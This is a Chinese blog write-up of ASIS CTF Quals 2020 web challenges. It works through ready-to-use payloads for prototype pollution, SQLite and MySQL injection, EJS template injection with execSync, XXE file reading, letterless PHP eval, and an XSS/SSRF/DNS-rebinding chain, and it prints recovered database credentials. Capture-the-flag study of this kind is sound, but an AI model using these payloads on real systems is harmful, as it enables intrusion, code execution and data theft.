ASIS CTF Quals 2020 Writeup

全是复现的,比赛时间和SCTF刚好冲突了,但是质量是真的彳亍


Admin Panel

考点:原型链污染 非常困难的sqlite注入 SSIT
难度:Very Hard

这个题是真的牛批 是一个Admin Panel的登录,但是不知道密码所以登录就会被AccessDenied,题目给了source code app.js

const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

const server = app.listen(3000, function(){
console.log("Server started on port 3000")
});

app.use(session({
secret: 'REDACTED',
resave: false,
saveUninitialized: true,
store: new FileStore({path: __dirname+'/sessions/'})
}));

const router = require('./router/main')(app, db, fs);

main.js

module.exports = function(app, db, fs){
app.get('/', function(req, res){
res.render('index.html')
});

app.post('/login', function(req, res){
var user = {};
var tmp = req.body;
var row;

if(typeof tmp.pw !== "undefined"){
tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
}

for(var key in tmp){
user[key] = tmp[key];
}

if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' typeof user.id === "undefined"){
user.id = 'guest';
}
req.session.user = user.id;

if(typeof user.pw !== "undefined"){
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}
if(req.session.isAdmin && req.session.user === 'admin'){
res.statusCode = 302;
res.setHeader('Location','admin');
res.end();
}else{
res.end("Access Denied!");
}
}else{
res.end("No password given.");
}
});

app.get('/admin', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.query.test !== "undefined"){
res.render(req.query.test);
}else{
res.render("admin.html");
}
}else{
res.end("Access Denied!");
}
});

app.post('/upload', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
var fname = req.body.name;
var dir = './views/upload/'+req.session.id;
var contents = req.body.file;

!fs.existsSync(dir) && fs.mkdirSync(dir);
fs.writeFileSync(dir+'/'+fname, contents);
res.end("Done.");
}else{
res.end("Something's wrong");
}
}else{
res.end("Permission Denied!");
}
});
}

可以看一下登录的代码,对pw有一个安全检查,其中将所有的\ ' - #都替换为空。之后有个名为user的对象,遍历req.body并将里面的值存进user。之后会带着pw进行一个sql查询,这里或许可能造成注入,但是pw和sql结果中查询出的pw必须完全相等才能设置isAdmin这个session标记为True,否则false。如果isAdminTrue,则可以进入管理员账户。

继续跟进,如果登录为管理员账户,则可以访问admin.html,并且可以拥有上传功能。 这里有一个逻辑矛盾需要我们解决,分析后文代码可知我们的用户名必须是admin,然而如果输入admin就会被强制修改为guest:

if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin'  typeof user.id === "undefined"){
user.id = 'guest';
}

Prototype Pollution

漏洞代码出在了这里,这是一段无论idpw是否为undefined都一定会执行的代码:

for(var key in tmp){
user[key] = tmp[key];
}

我们知道,Post上传接收数据有多种方式,最常用的是urlencode,其次是json,比如hackbar的POST支持这三种Content-Type

注意到题目正好也是通过app.use(express.json());来支持json的。那么我们同样也可以用json来提交id和pw,一样的效果。程序的运行大概是这样:

而用了JSON,一个合格的WEB CTF选手应该对此能够足够敏感,因为JSON里是可以嵌套的,比如{"a":{"b":"c"}},而这种形式的JSON对于本题目代码来讲并不会产生任何问题。这样的话这个for循环遍历时var key就是object类型而不再是String

那么这有什么用?再回去看漏洞代码,遍历了tmp后挨个元素赋值给user,这就可以造成原型链污染。 如果POST的req.body这个JSON中包含了__proto__,然后又通过for循环遍历给了user,会怎么样?可以自己本地调试

//颖奇L'Amore www.gem-love.com 
var express = require('express');
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.json());

app.route('/login')
.post( function(req, res){
var user = {};
var tmp = req.body;
console.log("\nreq.body:")
console.log(req.body)
var row;

if(typeof tmp.pw !== "undefined"){
console.log("waf replace")
tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
}

for(var key in tmp){
user[key] = tmp[key];
}
console.log("user:")
console.log(user)
res.send("ok")
});

const server = app.listen(3000, function(){
console.log("Server started on port 3000")
});

因为Hackbar会在json里加入一些垃圾数据,所以我们直接用requests模块

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import json

HOST = "http://127.0.0.1:3000/login"
proxies={'http':'http://127.0.0.1:58080','https':'https://127.0.0.1:58080'} #用来调试 可以配合burp
headers = {"Content-Type": "application/json"}
data = {
"__proto__" : {"id":"admin", "pw":"y1ng'#"}
}
json_data = json.dumps(data, sort_keys=False, separators=(',', ': '))
print(json_data)
req.post(HOST, data=json_data, headers=headers)

可以发现并没有console.log("waf replace"),因为tmp只有__proto__这么一个键,并没有pw,所以tmp.pwundefined,就不会进去if里进行replace(),这意味着我们成功bypass了waf;另外还可以看到输出的user是{},并没有任何东西,难道for(var key in tmp) user[key] = tmp[key];这个for循环不会把user复刻成tmp一样吗?继续调试 可以看到,user虽然是个空object,但是user.__proto__已经不再为空。在访问user.pw时,因为pw不存在,于是就回去它的prototype去寻找,于是找到了pw属性

当然,现在就已经能够成功伪造user.id成admin了,设置user.id为guest的if并没有进入,而且直接进入了执行SQL的操作。

第一步原型链污染来伪造id为admin就做完了。

Hard SQL

然而,想要成为admin还需要设置session.isAdminTrue,这需要进行sql操作:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}

由题目代码const db = require('better-sqlite3')('./db.db', {readonly: true});可知题目使用的是sqlite数据库 上面已经bypass了replace()的waf,现在就可以实现sql注入了,因为想要让输入的pw和sql查询出来的pw完全相等实在是太难了。 想要注入实际上也不是很简单,因为只要sql语法没出错,回显就一样的:

不过我们可以构造时间盲注,如果是时间盲注的话,因为sqlite并没有像mysql的sleep()那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是Heavy Query的思路

randomblob(N) 返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数

关于randomblob()这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error

这意味着,我们可以通过randomblob()来特意构造一个Error,而题目如果sql语句查询出现Error是会不同回显的,这样我们就能实现Bool-Based Blind SQLi了

当然我们必须“选择性”触发这个Error,不然不就全程Error的回显了吗,sqlite在条件语句方面和PostgreSQL的语法完全一致,所以我们可以这样构造payload来布尔盲注:

{"\_\_proto\_\_": {"id": "admin","pw": "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}

但是这个方法也有缺点,比如只有在联合查询时才能选择性触发Error,如果union换成and或者or(当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发Error了。 因为是完全的Bypass了waf,无任何过滤,盲注起来就很方便了,substr()的用法和mysql等数据库完全一致:

所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考Cheat Sheet里的这个payload:

and (SELECT hex(substr(tbl\_name,1,1)) FROM sqlite\_master WHERE type\='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) \> hex('some\_char')

然而实际上你会发现你什么都跑不出来,并不是payload的问题,原因是数据库里本来就是空的! Error触发说明条件处的布尔表达式是True,进而说明count(*) from users为0,其中COUNT()函数是用来计算一个数据库表中的行数

文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的pw了,也就是说永远不可能成功伪造成admin 除非row.pw === user.pw返回True!再次回看代码:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}

刚刚我们去尝试往出注密码是因为默认了这个row.pw === user.pw根本不可能成立,现在看来必须要想办法让它成立了 这种考点确实牛逼,第一次见,需要让sql查询结果和sql语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。参考文末链接4 replace(hex(zeroblob(X)),hex(zeroblob(1)),'string') 的结果是'string'*X

利用这个思路,通过把一些SQL语句写进字符串来实现,其中为了避免引号转义问题利用char(39)来代替,而sqlite中字符串的连接可以通过来实现

于是得到:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)

可以发现后面的')--没有了,这个也得被重复,所以还得再套一层:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)')--')--')--

现在,终于能够伪造admin了,登陆成功就会跳转:

if(req.session.isAdmin && req.session.user === 'admin'){
res.statusCode = 302;
res.setHeader('Location','admin');
res.end();
}

ejs模板注入

没想到吧!题目做到这还没做完! 我们先来看下代码,首先接收一个test参数并用来渲染模板,否则是默认的admin.html

app.get('/admin', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.query.test !== "undefined"){
res.render(req.query.test);
}else{
res.render("admin.html");
}
}else{
res.end("Access Denied!");
}
});

上传则是提供了一个上传功能,使用session.id来创建一个目录并把上传的文件存在下面

app.post('/upload', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
var fname = req.body.name;
var dir = './views/upload/'+req.session.id;
var contents = req.body.file;

!fs.existsSync(dir) && fs.mkdirSync(dir);
fs.writeFileSync(dir+'/'+fname, contents);
res.end("Done.");
}else{
res.end("Something's wrong");
}
}else{
res.end("Permission Denied!");
}
});

代码的逻辑非常明显,我们上传SSTI的模板文件然后被渲染然后RCE,注意到题目的如下代码

app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

ejs是js的一个模板,不懂的可以去看看EJS中文文档:

https://ejs.bootcss.com/

虽然网上基本没啥相关payload,它不像Jinja2,实际上就直接Nodejs的代码执行就好了。payload:

<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>

当然这是通解,本题目因为flag存在app.locals,所以ejs渲染时候可以直接读取,<%=flag%>就可以了 题目没有上传按钮,我们自己本地写个Form上传就好了,问题在于它并没有给回显路径

分析代码,上传的文件的路径是'./views/upload/' + req.session.id + '/y1ng.html',所以这个session.id是什么 首先拿出我们的cookie并url解码,s:.中间的部分就是session.id,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接3,

connect.sid=s:7T-DLMSPuGOvFqEdMnCdVHYUjdb3wmxq.ubdBBNsufG1NzrzLwT2Qcizni6z8q4SMcXUHA/HP3F0

带上test参数传进去我们上传的模板来渲染导致RCE然后读文件即可得到flag

这题实在是太牛逼了,太牛逼了


Treasury #1 & Treasury #2 - Part 1

考点:Javascipt、SQL注入、XXE
难度:中等

是一个书店,每个书都有2个按钮可以点,AE点了就弹出一个Excerpt窗口,但并没有产生什么新请求,考虑使用了AJAX

HTML源代码注意到treasury.js,访问,得到关键代码:

async function anexcerpt(book) {
const modalEl = document.createElement('div');
modalEl.style.width = '70%';
modalEl.style.height = '50%';
modalEl.style.margin = '100px auto';
modalEl.style.backgroundColor = '#fff';
modalEl.className = 'mui-panel';
const header = document.createElement('h2');
header.appendChild(document.createTextNode("An Excerpt From " + book.name));
modalEl.appendChild(header);
const loading = createSpinner(modalEl);
// show modal
mui.overlay('on', modalEl);

const response = await fetch('books.php?type=excerpt&id=' + book.id);
const bookExcerpt = await response.text();
const txtHolder = document.createElement('div');
txtHolder.className = 'mui-textfield mui--z2'
const txt = document.createElement('textarea');
txt.appendChild(document.createTextNode(bookExcerpt));
txt.readOnly = true;
txt.style.height = "100%";
txtHolder.appendChild(txt);
txtHolder.style.height = "70%";
loading.stop();
modalEl.appendChild(txtHolder);
}

发现fetch('books.php?type=excerpt&id=' + book.id); 后面接了book id,访问测试发现id存在sql注入。并且使用了xml,simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。 可以得到回显:

Table: books
id=1' and 1=2 union select group\_concat(table\_name) from information\_schema.tables where table\_schema=database()--+#

Column: id,info
id=1' and 1=2 union select group\_concat(column\_name) from information\_schema.columns where table\_schema=database()--+#

之后就查不到更多信息了,说明flag不在数据库里。注意到题目使用了simplexml_load_string(),我们可以通过构造XML来xxe

id=1'and 1=2 union select '<root><id>1</id><excerpt>abc</excerpt></root>'--+#

回显了abc,因此可以通过注入excerpt字段来XXE。用HackBar测试了一会总是出错,考虑是URL编码的问题,用requests模块,文件读取

#颖奇L'Amore
import requests as req
from urllib.parse import quote as urlen

HOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 "
payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #'''
payload = urlen(payload)
r = req.get(HOST+payload)
print(r.text)

得到flag:ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2}
结果这个是#2的flag,#1的flag居然比#2更难拿,无语了

Treasury #1 & Treasury #2 - Part 2

xxe+伪协议得到books.php源码

<?php
sleep(1);

function connect_to_database() {
$link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
if (!$link) {
echo "Error: Unable to connect to DB.";
exit;
}
return $link;
}

function fetch_books($condition) {
$link = connect_to_database();
if ($condition === "") {
$where_condition = "";
} else {
$where_condition = "WHERE $condition";
}
$query = "SELECT info FROM books $where_condition";
if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
$books_info = array();
while($row = $result->fetch_array(MYSQLI_NUM)) {
$books_info[] = (string) $row[0];
}
mysqli_free_result($result);
}
mysqli_close($link);
return $books_info;
}

function xml2array($xml) {
return array(
'id' => (string) $xml->id,
'name' => (string) $xml->name,
'author' => (string) $xml->author,
'year' => (string) $xml->year,
'link' => (string) $xml->link
);
}

function get_all_books() {
$books = array();
$books_info = fetch_books("");
foreach ($books_info as $info) {
$xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
$books[] = xml2array($xml);
}
return $books;
}

function find_book($condition) {
$book_info = fetch_books($condition)[0];
$xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
return $xml;
}

$type = @$_GET["type"];
if ($type === "list") {
$books = get_all_books();
echo json_encode($books);

} elseif ($type === "excerpt") {
$id = @$_GET["id"];
$book = find_book("id='$id'");
$bookExcerpt = $book->excerpt;
echo $bookExcerpt;

} else {
echo "Invalid type";
}

分析源码可知,题目从数据库查询了书籍的相关信息,然后利用simplexml_load_string()得到了一个SimpleXMLElement对象,最后输出了这个SimpleXMLElement对象的excerpt属性。 flag并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了<excerpt></excerpt>的内容。这个考点实在是有点东西,不愧是国际带比赛,使用mysql的替换函数剥去XML标签然后显示在<excerpt></excerpt>中,即可得到完整内容

payload:

union select concat('<root><id>4</id><excerpt>',replace((select group\_concat(id,info) from books),'<','?'),'</excerpt></root>')-- #

这道题我给打满分,出题人真的彳亍


Warm-up

考点:老生常谈的无字母RCE 难度:简单

<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
die();
}

if(isset($_GET['warmup'])){
if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
eval($_GET['warmup']);
}else{
die("Try harder!");
}
}else{
die("No param given");
}

虽然题目可以用数字,但是完全没必要。payload:

$\_="\`{{{"^"?<>/";${$\_}\[\_\](${$\_}\[\_\_\]);  //$\_GET\[\_\]($\_GET\[\_\_\])
http://69.90.132.196:5003/?warmup=$\_="\`{{{"^"?<>/";${$\_}\[\_\](${$\_}\[\_\_\]);&\_=readfile&\_\_=flag.php

另外还看到了一种读文件的payload,收藏了

$_="@:>;963:"^"2_______"; // readfile
$__="____"^"830="; // glob
$_($__('*')[0]); // readfile(glob('*'))

PyCrypto

考点:AES加密、XSS、SSRF、CORS
难度:困难

这题是个webcrypto,除去密码部分,web还是非常简单的,如果当年好好做了安恒五月赛的notes那个XSS+SSRF的话,这种题都能拿payload直接秒 app.py

from Crypto.Cipher import AES
from flask import Flask, request, render_template, session
from flask_csp.csp import csp_header
import sqlite3
from hashlib import sha256
import markdown2
from selenium import webdriver
from socket import gethostbyname
from urlparse import urlparse

IP = "76.74.170.201"
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
key = "REDACTED"

assert len(key) == 32, "Key length error"

aes = AES.new(key, AES.MODE_ECB)
app = Flask(__name__)
app.secret_key = "REDACTED"
conn = sqlite3.connect('/app/user.db', check_same_thread=False)
c = conn.cursor()

def xor(msg1, msg2):
res = ''
for i in range(BLOCK_SIZE):
res += chr(ord(msg1[i]) ^ ord(msg2[i]))
return res

def encrypt(plaintext):
plaintext = pad(plaintext)
iv = pad("")
ciphertext = ""
for i in range(0, len(plaintext), BLOCK_SIZE):
iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv)
ciphertext += iv
return ciphertext.encode('hex')

def decrypt(ciphertext):
# REDACTED
# res will be the plaintext
return res

@app.route('/')
def index():
return "Welcome To my Web + Crypto Task!"

@app.route('/api/login', methods=['POST'])
def login():
try:
user = request.form['id']
pw = sha256(request.form['pw']).hexdigest()
c.execute("select username from users where username=? and pw=?", (user, pw))
res = c.fetchone()
session['mycode'] = encrypt(res[0]+key)
return 'Done!'
except:
return "Error!"

@app.route('/api/logout')
def logout():
session.pop('mycode')
return 'done!'

@app.route('/api/register', methods=['POST'])
def register():
try:
user = request.form['id']
pw = sha256(request.form['pw']).hexdigest()
c.execute("INSERT INTO users(username, pw) VALUES (?,?)",(user, pw))
conn.commit()
return 'register done!'
except:
return "Error!"

@app.route('/myinfo')
def info():
if 'mycode' in session:
return session['mycode']
else:
return 'Plz Login'

@app.route('/ticket')
@csp_header({
"default-src": "'self'",
"script-src":"'self' 'unsafe-inline'",
"style-src": "'self'",
"font-src": "'self'",
"img-src": "'self'"})
def view_post():
try:
enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
res = decrypt(enc)
return markdown2.markdown(res,safe_mode=True)
else:
return "Key or Permission Error!"
except:
return "Something is wrong!"

@app.route('/flag')
def flag():
if request.remote_addr == "127.0.0.1":
return render_template("flag.html")
else:
return 'Only Admin can access!'

@app.route('/submit')
def submit():
url = request.args.get("url")
try:
host = urlparse(url).netloc
try:
host = host[:host.index(':')]
except:
pass
if gethostbyname(host) == IP:
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver')
driver.implicitly_wait(30)
driver.get(url)
driver.quit()
return "Done"
else:
return "Nop"
except:
return "URL Error"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

dockerfile:

FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data

RUN apt update
RUN apt install -y wget
RUN apt-get install -y gnupg2
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt update
RUN apt install -y google-chrome-stable
RUN apt install -yqq unzip curl
RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/

RUN apt install -y python python-pip
RUN pip install flask==1.1.2
RUN pip install markdown2==2.3.8
RUN pip install pycrypto
RUN pip install flask_csp
RUN pip install selenium
RUN apt install -y sqlite3 libsqlite3-dev
RUN pip install pysqlite3

RUN apt install -y apache2
RUN apt install -y libapache2-mod-wsgi
RUN a2enmod wsgi

RUN mkdir -p /app
WORKDIR /app
ADD ./web/* ./

RUN mkdir templates
RUN mv ./flag.html ./templates/
RUN mkdir logs
RUN touch ./logs/error.log
RUN touch ./logs/access.log
ADD ./env/000-default.conf /etc/apache2/sites-available/

RUN chmod o+w /app
RUN chown www-data: /app/user.db

EXPOSE 8080

AES.MODE_ECB不太会,交给密码师傅来搞,参考GreyFang的脚本:

#TeamGreyFang
def getBlock(candidate):
register(candidate)
result = unhexlify(getCipher(candidate))
iv1 = result[:32]
return iv1

def cracker():
key = ''
for i in range(len(key)+1, 32):
candidate = ('a'*(32 - i))
ref = getBlock(candidate)
for p in string.printable:
try:
candidate = ('a'*(32 - i) + key) + p
result = getBlock(candidate)
if result == ref:
key += p
print("Match Found!!!", key)
break
except Exception as e:
print("Error Occured!", e)
return key

得到Key:"ASIS2020_W3bcrypt_ChAlLeNg3!@#%^"

/ticket中使用的md2,有一个老生常谈的XSS漏洞,前段时间BBCTF里还出现了这个考点,那个题的wp: https://www.gem-love.com/ctf/2254.html

flag需要本地访问,尽管有CSP,但是允许'unsafe-inline'意味着我们可以执行javascript,那就用XMLHttpRequest或者直接fetch()一下flag实现SSRF然后通过window.location把结果带出来就行了。 注意到/tickit中的代码接收了key和加密过的payload然后进行解密然后md

enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
res = decrypt(enc)
return markdown2.markdown(res,safe_mode=True)

那么我们首先需要对payload进行加密,直接用它的源码改改就行了 get方式传上去就行了,可以发现JavaScript被成功触发并且把数据带去了我们的vps 然后就提交是bot了。在提交url给bot时还有个问题需要解决,这个和SCTF的Jsonhub一样,也是强制提交的url为公网ip开头,所以要想办法让它解析到127.0.0.1才行。题目使用了urlparse,2017 Black Hat上Orange的议题明确表示Python urlparse并不能被abuse

但是这里这段代码未免也太奇怪的了

这个host最后能够获得题目的公网ip,但是最后访问却可以访问到其他任意主机

所以url应该是

http://76.74.170.201:[email protected]:8080/ticket?msg=payload&key=key

这个直接访问确实应该是访问到127.0.0.1:8080,但是一直打不通,是因为被SOP干掉了,因此,本题目还有最后一步 这里考了DNS Rebinding攻击,因为我们check host和访问host进行了两次DNS解析,这有时间差,利用这个时间差我们就可以实现用1个url即通过校验又在访问时访问到127.0.0.1 尝试使用这个工具 https://github.com/nccgroup/singularity/ 或者用现成的工具requestrepo之类的打一下就行了


References

https://github.com/networknerd/CTF\_Writeups/blob/master/2020/ASISCTF\_2020/Web/WebWarmup/README.md https://github.com/saw-your-packet/ctfs/blob/master/ASIS%20CTF%20Quals%202020/Write-ups.md https://drive.google.com/file/d/16YW4JjdcAbFSzDbECy4wA8IDDA-hxC2i/view?usp=sharing https://github.com/TeamGreyFang/CTF-Writeups/tree/master/AsisCTF2020

Author: Y1ng
Link: https://www.gem-love.com/2020/07/07/asis-ctf-quals-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!